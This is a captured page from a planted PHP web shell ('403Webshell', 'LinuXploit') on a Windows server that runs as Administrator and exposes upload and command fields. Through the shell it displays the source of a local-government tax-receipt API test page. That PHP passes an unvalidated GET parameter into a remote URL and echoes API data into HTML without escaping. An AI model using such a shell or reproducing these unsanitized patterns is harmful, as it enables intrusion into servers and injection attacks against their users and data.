403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/laragon4/www/bpkd_api/work/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/laragon4/www/bpkd_api/work//bprd_notbp.php
<?php
//$file = "test.json";
//$datajson = file_get_contents($file);
//$data = json_decode($datajson,true);

//echo "<pre>";
//print_r($data);
//echo "</pre>";

//$option = array();


//$linkApi = "https://bprd.lumajangkab.go.id/bprd/realisasi/realisasi.php?bulan=01&tahun=2023";

//$masterlinkApi = "https://bprd.lumajangkab.go.id/bprd/realisasi/realisasi.php?";
$masterlinkApi = "https://bprd.lumajangkab.go.id/bprd/integrasibpkd/api_tbp.php?";

if(!empty($_GET['notbp']) ){ 

	$no_tbp = $_GET['notbp'];

	$childlinkApi = $masterlinkApi."no_tbp=".$no_tbp;

	$dataApi = file_get_contents($childlinkApi,false);

	$data = json_decode($dataApi,true);

}else{
	$data=array();	
}    

?>


<!DOCTYPE html>
<html>
	<head>
		<title>REST API BPKD</title>
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" />
		<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
	    <!-- datepicker -->
	    <link rel="stylesheet" type="text/css" href="css/bootstrap-datepicker3.css" >

	</head>
	<body>
    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js">    </script>
    <!-- Include all compiled plugins (below), or include individual files as needed-->
    <script src="js/bootstrap.min.js"></script>
    <!-- Load File datepicker -->
    <script src="js/bootstrap-datepicker.js" type="text/javascript"></script>

		<div class="container">
			<br />
			
			<h3 align="center">DATA TBP DARI BPRD - BY NOMOR TBP <font size="3" face="Tahoma" ><span class="label label-warning">unit testing</span></font></h3>
			<br />

			<form class="form-inline" method="get" action="">
	            <div class="form-group">
	              <div class="input-group">
	                  <input id="notbp" type="text" class="form-control" placeholder="nomor tbp" name="notbp" >
	                  <div class="input-group-addon">
	                      <span class="glyphicon glyphicon-qrcode"></span>
	                  </div>
	              </div>
	            </div>
		    	<button type="submit" class="btn btn-success form-control"> Tampilkan </button>
			</form>
	    	<br>
	    	<font size="1" face="Tahoma" >
			<div class="table-responsive">
				<table class="table table-bordered table-striped">
					<thead>
						<tr>
							<th>NOENTRY</th>
							<th>TANGGAL</th>
							<th>JENISSTS</th>
							<th>NAMAUPTD</th>
							<th>NAMAKEC</th>
							<th>TERIMADARI</th>
							<th>PENYETOR</th>
							<th>ALAMAT</th>
							<th>URAIAN</th>
							<th>KODEREKPD</th>
							<th>NAMAPD</th>
							<th>JUMLAH</th>
							<th>SUBTOTAL</th>
							<th>TERBILANG</th>
							<th>OPERATOR</th>
						</tr>
					</thead>
					<tbody>
					<?php
					$no=0;
					$totsub=0;
					if(count($data)>0){
						foreach($data as $row)
						{
							$no++;
							echo '
							<tr>
								<td>'.$row['NoEntry'].'</td>
								<td>'.$row['Tanggal'].'</td>
								<td>'.$row['JenisSts'].'</td>
								<td>'.$row['NamaUPTD'].'</td>
								<td>'.$row['NamaKec'].'</td>
								<td>'.$row['TerimaDari'].'</td>
								<td>'.$row['Penyetor'].'</td>
								<td>'.$row['Alamat'].'</td>
								<td>'.$row['Uraian'].'</td>
								<td>'.$row['KodeRekPD'].'</td>
								<td>'.$row['NamaPD'].'</td>
								<td align="right">'.number_format($row['Jumlah']).'</td>
								<td align="right">'.number_format($row['SubTotal']).'</td>
								<td>'.$row['Terbilang'].'</td>
								<td>'.$row['Operator'].'</td>
							</tr>
							';
							$totsub = $totsub + $row['SubTotal'];
						}

							echo '
							<tr>
								<td colspan="2"><b>TOTAL</b></td>
								<td align="center"><b>'.$no.'</b></td>
								<td colspan="9"></td>
								<td align="right"><b>'.number_format($totsub).'</b></td>
								<td></td>
								<td></td>
							</tr>
							';

					}else{
							echo '<tr><td colspan="15" align="center">-- belum ada data --</td></tr>';						
					}
					?>
						
					</tbody>
				</table>
			</div>
			</font>
		</div>
	</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit